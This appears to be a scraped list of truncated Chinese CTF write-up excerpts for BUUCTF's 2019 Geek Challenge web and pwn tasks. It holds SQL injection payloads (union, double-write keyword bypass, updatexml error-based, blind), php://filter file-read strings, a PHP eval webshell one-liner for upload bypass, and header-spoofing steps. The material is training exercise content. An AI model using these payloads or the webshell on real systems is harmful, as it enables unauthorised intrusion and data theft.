BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面跟的注符会将密码注释掉,检测不到密码会报错Input your username and password.所以这道题我们在密码处插入注入语句. 在我们试图查看存在几个字段的时候,发现order变成了der,那么应该是过滤了or,双写or可以绕过. 在进行联合注入的时候报错,报错的内容里面union…
BUUCTF 1.打开题目 注入方法可参考NewsCenter 2.测试注入点 username: 1'or'1=1 password: 1'or'1=1 登录成功,说明存在注入漏洞. 下面测试位点个数. /check.php?username=admin' order by 3%23&password=1 正常回显 /check.php?username=admin' order by 4%23&password=1 报错 %23为"#"符号的URL编码形式 3.查库…
BUUCTF系列 想着应该不会这么简单吧... 结果就是这么简单ee 疯狂暗示... url:xxx/index.php 密码:Syc 连接成功... cd / ls cat flag…
0x00 知识点 1:万能密码登陆 2:登陆后直接使用联合查询注入 0x01解题 登陆后进行简单测试发现是字符型注入 order by 测试数据库有多少字段 发现在4的时候报错,没有过滤,直接进行注入 注入数据库: admin'union+select+1,2,group_concat(schema_name)+from+information_schema.schemata# 查询数据表 username=admin&password=admin'%20union%20select%201%2…
[极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X02解题过程 bp开启,有页面跳转,然后访问 /secr3t.php 出现了源代码 <html> <title>secret</title> <meta charset="UTF-8"> <?php highlight_file(__F…
简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台 特别感谢!) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 复现 基础知识 is_numeric()函数 :https://www.cnblogs.com/xhds/p/12312223.html strcmp()函数:https://www.cnblogs.com/xhds/…
极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:http://Sycsecret.buuoj.cn (添加前) (添加后) 3.提示要把browser改成Syclover,所以把请求头的users-agent改掉 4.提示要本地访问 所以添加XFF:127.0.0.1,得到flag…
总的来说这是一个64位orw的题 开头先在主函数里分配了一个很大的空间 1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL); 4 sub_400949(); 5 sub_400906(); 6 sub_400A16(); 7 return 0LL; 8 } 1 __int64 sub_400949() 2 { 3 __int6…
前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."…
0x00 知识点 盲注 0x01 解题 根据题目提示盲注,随便点几下找到注入点 发现我们输入^符号成功跳转页面,证明存在注入 1^(ord(substr((select(group_concat(schema_name))from(information_schema.schema ta)),%d,1))=%d)^1"%(i,ord(j)) 获取数据库名称 1^(ord(substr((select(group_concat(table_name))from(information_schema…
复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d044fcc945.node3.buuoj.cn/?cat=dog 0x02:EasySQL 用万能密码 用户名:'or 1=1# 密码 : 随便输 看下用户名和密码都不知道的情况: username='admin'or 1=1#' and password='随便写' #把后面的都注释掉了,1=1为…
0x00 知识点 报错注入 链接: https://www.cnblogs.com/richardlee97/p/10617115.html 报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值:第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次…
0x00 知识点 一个常规上传题目,知识点全都来自前几天写的文章: https://www.cnblogs.com/wangtanzhi/p/12243206.html 1:某些情况下绕过后缀名检测: php,php3,php4,php5,phtml.pht 2:常用一句话: GIF89a? <script language="php">eval($_REQUEST[shell])</script> php5适用 3:文件类型绕过 改成image/jpeg 0x…
0x00 知识点 双写绕过 简单测试一下,发现or在登陆过程被过滤,想到使用oorr试试,结果成了?! 最后多测试一下,发现from union select 这些关键函数都被替换为空 本题直接进行常规的双写绕过. 0x01 解题 查询数据库: http://63617ca2-4ac2-4f57-b718-79898153f19b.node3.buuoj.cn/check.php?username=admin&password=admin1%27uniunionon%20selselectect…
0x00 知识点 php中的strcmp漏洞 说明: int strcmp ( string $str1 , string $str2 ) 参数 str1第一个字符串.str2第二个字符串.如果 str1 小于 str2 返回 < 0: 如果 str1 大于 str2 返回 > 0:如果两者相等,返回 0. 可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前…
0x00知识点 了解HTTP协议,使用bp伪造. 0x01 解题 首先查看源代码,找到Secret.php 访问 使用bp查看 提示我们需要来自该网址,直接改header头信息即可,我们可以通过使用referer头来修改 提示我们需要使用"Syclover"浏览器,这里直接修改UA头即可 下一步要求我们本地访问,我们可以使用XFF头进行伪造 得到flag…
根据题目Knife 猜想尝试用蚁剑连接 http://40b92ebd-5234-40b7-b2e0-3c42fb5ad000.node3.buuoj.cn/?Knife.php 密码:Syc 找到flag emmm确实白给的shell..…
0x00知识点 1:直接扫描目录得到网站源码. 2:public.protected与private在序列化时的区别 protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见.因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀.这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合.这也许解释了,为什么如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的…
0x00知识点 没有过滤file 使用php的file伪协议去读取文件 ?file=php://filter/convert.base64-encode/resource=flag.php 0x01解题 打开网站存在跳转.抓包,访问 http://152518b2-d342-4872-8adc-b5bcec554a4d.node3.buuoj.cn/secr3t.php 给了我们源代码 <html>    <title>secret</title>    <met…
万能密码直接登陆得到flag admin' or 1=1 #…
打开题目右键查看源代码 <!--$cat=$_GET['cat']; echo $cat; if($cat=='dog') {echo 'Syc{cat_cat_cat_cat}';}--> 直接传参/?cat=dog 得到flag…
知识点:PHP序列化与反序列化,最下方有几个扩展可以看一下 他说备份了,就肯定扫目录,把源文件备份扫出来 dirsearch扫目录扫到www.zip压缩包…
考点就是一系列的sql注入操作 和 replace函数过滤 进入页面如图 ​ 基础过滤测试 union .select .information_schema试试有没有被过滤 ?username=admin&password=pwd %27 union select 1 %23 具体回显如下:只保留了 1# ,这就说明被检测到了union和select check the manual that corresponds to your MariaDB server version for the…
很少见的很简单的一道题 查看源代码 获得一段被注释的代码 直接?cat=dog即可得flag…
通过标题考虑可能为文件包含漏洞方面 打开网页 从页面并没任何思路,查看源代码 得到有一个跳转到./Archive_room.php的超链接,打开Archive_room.php 中央有一个secret按钮,点击 并无有用信息,但考虑是否在两个页面间存在一页面,但是迅速跳转,使用burpsuite抓取 发现其中存在一个secr3t.php网页 得到几个信息 1.flag在flag.php文件里 2.需要用get方式来获取flag,但禁止使用input,data,tp,../方式读取flag.php…
解题思路 打开是一个登陆框,考点sql注入了,先正常尝试一波 发现居然是get类型 输入and发现有waf过滤,那fuzz一波看看过滤了什么 fuzz union被过滤,并且绕过union的几种方法同样被过滤 报错注入 有报错,尝试下是否报错注入 payload:1'and (updatexml(1,concat(0x7e,(payload),0x7e),1)); 爆数据库:select database() 爆表名:select table_name from information_sche…
简介  原题复现:  考察知识点:SQL注入(报错注入,绕过过滤)  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台 特别感谢!) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 复现 经过手工测试过滤了and.= 空格 union等多个sql关键字 要思考如何绕过这些关键字去注入! 使用updatexml报错法注入 查数据库信息 http://1bfb9fee-1fce-4f07-81b1-c8048e473a66.node3.buuoj.cn/check.ph…
报错注入链接: https://www.cnblogs.com/richardlee97/p/10617115.html报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值:第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次…
题目的名字就暗示我们考点文件隐藏进入页面查看源码 得到隐藏的界面点击访问 点击给的"SECRET"按钮页面出现提示"没看清么?回去再仔细看看吧.",说明响应的时间太快了,还没反应过来,于是我们想到使用burp suit进行抓包 图片中给了"secr3t.php"提示,于是我们转到提示的界面,进行php代码审计 <?php highlight_file(__FILE__); //file文件高亮 error_reporting(0); //关…
1.打开题目之后,查看源代码信息,发现check.php文件,结果如下: 2.那就只能尝试登录,经测试当输入or.by.select.from.and.where等关键字时会被过滤且会被过滤为空(过滤为空就可以通过双写绕过),返回信息为check.php页面,结果如下: 3.那就尝试一下双写绕过,确定一下是否存在注入点,通过payload:'oorr 1=1#,以下测试的所有密码随便输入,只写了name的payload,最终成功登录到界面中确定了注入点的存在,结果如下: 4.确定存在注入点之后那…